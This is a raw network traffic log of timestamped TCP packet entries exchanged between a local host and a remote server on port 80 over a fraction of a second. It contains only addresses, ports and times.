Jul 24, 2024 02:39:07.452866077 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.452877045 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.452903032 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.452912092 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.452927113 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.452946901 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.452960014 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.452994108 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.453470945 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.453505993 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.453531027 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.453538895 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.453550100 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.453572989 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.453602076 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.453607082 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.453618050 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.453640938 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.453666925 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.453674078 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.453691006 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.453706980 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.453722000 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.453738928 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.453763962 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.453772068 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.453785896 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.453805923 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.453834057 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.453838110 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.453851938 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.453871965 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.453902006 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.453905106 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.453922033 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.453941107 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.453955889 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.453989983 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.454674959 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.454725027 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.454754114 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.454761028 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.454773903 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.454796076 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.454807997 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.454829931 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.454855919 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.454864979 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.454879999 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.454899073 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.454912901 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.454932928 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.454946995 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.454967976 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.454994917 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.454999924 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.455033064 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.455034018 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.455054045 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.455069065 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.455085039 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.455104113 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.455118895 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.455140114 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.455154896 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.455194950 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.542619944 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.542669058 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.542705059 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.542738914 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.542773008 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.542784929 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.542784929 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.542784929 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.542784929 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.542807102 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.542860031 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.542864084 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.542882919 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.542915106 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.542917013 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.542953014 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.542988062 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.543020964 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.543020964 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.543041945 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.543044090 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.543076038 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.543098927 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.543111086 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.543123960 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.543145895 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.543168068 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.543196917 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.543198109 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.543231964 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.543248892 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.543266058 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.543293953 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.543317080 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.543318987 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.543354988 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.543385029 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.543386936 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.543405056 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.543425083 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.543437958 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.543476105 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.543482065 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.543512106 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.543535948 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.543545961 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.543555021 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.543593884 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.543648958 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.543682098 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.543697119 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.543715954 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.543729067 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.543751001 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.543767929 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.543785095 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.543793917 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.543817043 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.543843985 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.543853045 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.543863058 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.543910980 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.543948889 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.543982029 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.543997049 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.544015884 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.544028997 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.544049025 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.544060946 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.544085026 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.544099092 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.544120073 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.544133902 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.544153929 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.544162989 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.544204950 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.544209003 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.544236898 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.544265032 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.544270992 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.544285059 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.544311047 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.544317007 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.544344902 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.544370890 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.544389009 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.544425011 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.544456959 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.544504881 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.544504881 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.544519901 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.544565916 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.544569016 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.544600964 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.544620037 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.544646025 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.544663906 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.544696093 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.544719934 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.544729948 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.544740915 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.544765949 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.544780016 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.544795990 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.544816971 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.544828892 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.544845104 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.544887066 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.544888973 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.544919968 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.544941902 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.544972897 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.544987917 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.545016050 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.545017958 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.545052052 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.545066118 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.545087099 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.545097113 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.545120001 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.545135021 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.545165062 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.545200109 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.545233011 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.545257092 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.545283079 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.545285940 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.545320034 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.545346975 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.545355082 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.545388937 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.545403957 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.545414925 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.545438051 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.545469046 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.545510054 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.545584917 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.545589924 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.545640945 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.545663118 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.545696974 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.545727015 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.545731068 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.545742989 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.545788050 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.545795918 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.545831919 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.545849085 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.545866013 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.545881987 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.545901060 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.545914888 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.545934916 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.545948982 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.545985937 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.546010971 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.546060085 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.546061039 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.546094894 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.546118975 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.546128035 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.546138048 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.546163082 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.546190977 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.546210051 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.546215057 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.546248913 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.546262980 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.546283007 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.546294928 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.546333075 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.546336889 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.546366930 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.546396971 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.546401024 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.546415091 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.546433926 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.546458006 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.546468973 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.546478987 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.546502113 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.546536922 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.546547890 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.546547890 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.546570063 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.546597958 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.546605110 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.546617985 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.546658993 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.546729088 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.546787024 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.546964884 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.546997070 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.547014952 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.547028065 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.547056913 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.547061920 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.547075033 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.547096014 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.547123909 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.547127962 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.547142982 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.547163010 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.547184944 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.547195911 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.547204018 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.547229052 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.547240973 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.547262907 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.547283888 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.547296047 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.547308922 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.547329903 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.547357082 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.547369003 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.547375917 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.547415972 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.547477961 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.547509909 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.547533989 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.547547102 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.547554970 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.547580957 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.547595978 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.547614098 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.547627926 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.547647953 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.547663927 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.547681093 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.547698021 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.547719002 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.547728062 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.547770023 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.637542009 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.637598991 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.637665033 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.637716055 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.637732983 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.637732983 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.637732983 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.637752056 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.637784958 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.637804031 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.637804031 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.637820959 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.637834072 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.637872934 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.637876034 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.637907028 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.637917042 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.637940884 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.637969971 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.637974024 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.637985945 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.638005972 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.638031006 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.638040066 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.638050079 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.638075113 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.638087988 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.638108969 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.638123989 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.638158083 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.638180017 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.638216019 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.638246059 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.638248920 CEST	80	49730	85.28.47.31	192.168.2.4
